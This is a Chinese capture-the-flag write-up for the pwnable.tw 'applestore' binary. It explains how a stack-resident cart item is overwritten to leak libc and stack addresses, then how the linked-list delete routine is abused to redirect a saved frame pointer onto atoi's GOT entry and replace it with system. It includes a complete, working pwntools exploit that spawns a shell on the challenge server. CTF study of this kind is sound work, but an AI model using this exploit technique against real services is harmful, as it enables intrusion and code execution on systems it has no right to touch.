这道题对于我这个菜鸟来说收获真的很大!!!
这道题的数据结构是双链表,结构体大小为0x10
1 2 3 4 5 6 struct applePhone { char * str; int price; struct applePhone *next ; struct applePhone *pre ; }
漏洞点:当链表内的物品价格为7174时,购物车中会加入一个1¥的iPhone8,该结构体是存储在栈中的,起始地址是ebp-0x20
漏洞利用:add、delete、cart、checkout都是handler中的函数,这也就意味着在调用这些函数时,他们的ebp的地址都是一样的,而且都存储着handker的ebp地址,然后buf的起始地址为ebp-0x22,也就是说,输入2个字节后,就到了iPhone8的结构体,也就是说我们能利用这个cart函数覆盖iPhone 8的结构体,结合函数中的printf就可以泄露地址
那么就可以利用这个点,泄露libc基址和stack的地址,知识点:environ中存放着stack的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 for i in range (6 ): add(1 ) for i in range (20 ): add(2 ) checkout() pd = b'y\x00' + p32(atoi_got) + p32(0 ) * 2 cart(pd) p.recvuntil(b"27: " ) atoi_got_true = u32(p.recv(4 )) libc_base = atoi_got_true - libc.symbols['atoi' ] print ("libc_base:" ,hex (libc_base))system = libc_base + libc.symbols['system' ] environ_libc = libc_base + libc.symbols['environ' ] pd = b'y\x00' + p32(environ_libc) + p32(0 ) * 2 cart(pd) p.recvuntil(b"27: " ) stack = u32(p.recv(4 )) print ("stack:" ,hex (stack))
然后再来看delete函数,实际上就是一个双链表删除的操作,v4是next指针,v5是pre指针,函数循环到要删除的结构体,假设删除iPhone8,那么就会执行
iPhone8->pre->next = iPhone->next
iPhone8->next->pre = iphon8->pre
那么利用这个点,如果我们将iPhone8->next覆盖为atoi_got + 0x22,iPhone8->pre覆盖为stack - 0x104 - 0x8,那么,也就等同于我们把地址为stack - 0x104的值覆盖为atoi_got + 0x22,
那么问题来了,stack - 0x104 - 0x8,stack - 0x104和atoi_got + 0x22有什么联系,为什么要覆盖成这几个值?
stack - 0x104 - 0x8 中的 -0x8 实际上是和下图中的*(_DWORD *)(v5 + 8)相对应,v5实际上就是stack - 0x104 - 0x8,减去0x8和 v5 + 8 相抵消了,即*(stack - 0x104) = v4 = atoi_got + 0x22
那么现在还有一个问题,为什么是atoi_got + 0x22,stack - 0x104实际上就是delete函数的ebp地址,delete函数的ebp中存储着handler函数中ebp地址,如果我们将其值覆盖为atoi_got + 0x22后,函数退出后就会将会使handler函数的ebp地址变为atoi_got + 0x22,而handler函数中的my_read(nptr, 0x15u)的nptr的起始地址就是ebp-0x22,即我们在输入的时候,输入的起始地址就是atoi_got的地址,从而我们就可以修改atoi的got表为system,紧接着在atoi执行的时候就相当于在执行system函数,并且参数就是我们输入的数据,所以我们在delete函数返回handler函数后,输入p32(system) + b’||/bin/sh’就可以将atoi的got表改为system,并在atoi执行的时候触发截断执行/bin/sh
然后我来讲讲delete的ebp是如何得到的,这里我踩了个坑,可能是因为我用的ld.so文件是64位的,结果导致在测偏移的时候和实际偏移偏了0x20,导致我花了好几天才搞懂这个点
那在测偏移的时候肯定要先避免这个坑,先把附件的libc和ld.so给配好
用patchelf更改文件的libc和ld
1 patchelf --set-interpreter [ld.so路径] --set-rpath [libc所在目录] [elf文件]
比如我是
1 patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu3_i386/ld-2.23.so --set-rpath ~/glibc-all-in-one/libs/2.23-0ubuntu3_i386/ ./applestore
然后开始调试,在delete函数中下断点,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *from struct import packfrom LibcSearcher import *from ae64 import AE64import base64from ctypes import *debug = 1 if debug: p = process('/home/feichai/ctf_file/applestore' ) libc=ELF("/home/feichai/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc.so.6" ) else : p = remote('chall.pwnable.tw' , 10104 ) libc=ELF("/home/feichai/ctf_file/libc_32.so.6" ) context(arch="i386" ,os="linux" ,log_level="debug" ) elf=ELF("/home/feichai/ctf_file/applestore" ) libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) def add (num ): p.sendlineafter(b"> " , b'2' ) p.sendlineafter(b"Device Number> " , str (num)) def delete (temp ): p.sendlineafter(b"> " , b'3' ) p.sendlineafter(b"Item Number> " , temp) def cart (temp ): p.sendlineafter(b"> " , b'4' ) p.sendlineafter(b"Let me check your cart. ok? (y/n) > " , temp) def checkout (): p.sendlineafter(b"> " , b'5' ) p.sendlineafter(b"Let me check your cart. ok? (y/n) > " , b'y' ) atoi_got = elf.got.atoi def pwn (): for i in range (6 ): add(1 ) for i in range (20 ): add(2 ) checkout() pd = b'y\x00' + p32(atoi_got) + p32(0 ) * 2 cart(pd) p.recvuntil(b"27: " ) atoi_got_true = u32(p.recv(4 )) libc_base = atoi_got_true - libc.symbols['atoi' ] print ("libc_base:" ,hex (libc_base)) system = libc_base + libc.symbols['system' ] environ_libc = libc_base + libc.symbols['environ' ] pd = b'y\x00' + p32(environ_libc) + p32(0 ) * 2 cart(pd) p.recvuntil(b"27: " ) stack = u32(p.recv(4 )) print ("stack:" ,hex (stack)) p.sendlineafter(b"> " , b'3' ) gdb.attach(p) p.interactive() if __name__=='__main__' : pwn()
根据打印的信息,此时stack的值为0xff86806c
然后查看一下栈,此时的ebp指向了0xff867f68,也就是说我们要改的是0xff867f68这个地址的值
那么stack地址为0xff86806c,要改的地址为0xff867f68,那么他们的偏移就是0xff86806c - 0xff867f68 = 0x104
到这里基本就没什么问题了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *from pwn import p8,p16,p32,p64,u32,u64from struct import packfrom LibcSearcher import *from ae64 import AE64import base64from ctypes import *debug = 0 if debug: p = process('/home/feichai/ctf_file/pwn' ) libc=ELF("/lib/i386-linux-gnu/libc.so.6" ) else : p = remote('chall.pwnable.tw' , 10104 ) libc=ELF("/home/feichai/ctf_file/libc_32.so.6" ) context(arch="i386" ,os="linux" ,log_level="debug" ) elf=ELF("/home/feichai/ctf_file/applestore" ) libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) def add (num ): p.sendlineafter(b"> " , b'2' ) p.sendlineafter(b"Device Number> " , str (num)) def delete (temp ): p.sendlineafter(b"> " , b'3' ) p.sendlineafter(b"Item Number> " , temp) def cart (temp ): p.sendlineafter(b"> " , b'4' ) p.sendlineafter(b"Let me check your cart. ok? (y/n) > " , temp) def checkout (): p.sendlineafter(b"> " , b'5' ) p.sendlineafter(b"Let me check your cart. ok? (y/n) > " , b'y' ) atoi_got = elf.got.atoi def pwn (): for i in range (6 ): add(1 ) for i in range (20 ): add(2 ) checkout() pd = b'y\x00' + p32(atoi_got) + p32(0 ) * 2 cart(pd) p.recvuntil(b"27: " ) atoi_got_true = u32(p.recv(4 )) libc_base = atoi_got_true - libc.symbols['atoi' ] print ("libc_base:" ,hex (libc_base)) system = libc_base + libc.symbols['system' ] environ_libc = libc_base + libc.symbols['environ' ] pd = b'y\x00' + p32(environ_libc) + p32(0 ) * 2 cart(pd) p.recvuntil(b"27: " ) stack = u32(p.recv(4 )) print ("stack:" ,hex (stack)) pd = b'27' + p32(0 ) + p32(0x12345678 ) pd += p32(atoi_got + 0x22 ) + p32(stack - 0x104 - 0x8 ) delete(pd) p.sendlineafter(b"> " , p32(system) + b"||/bin/sh" ) p.interactive() if __name__=='__main__' : pwn()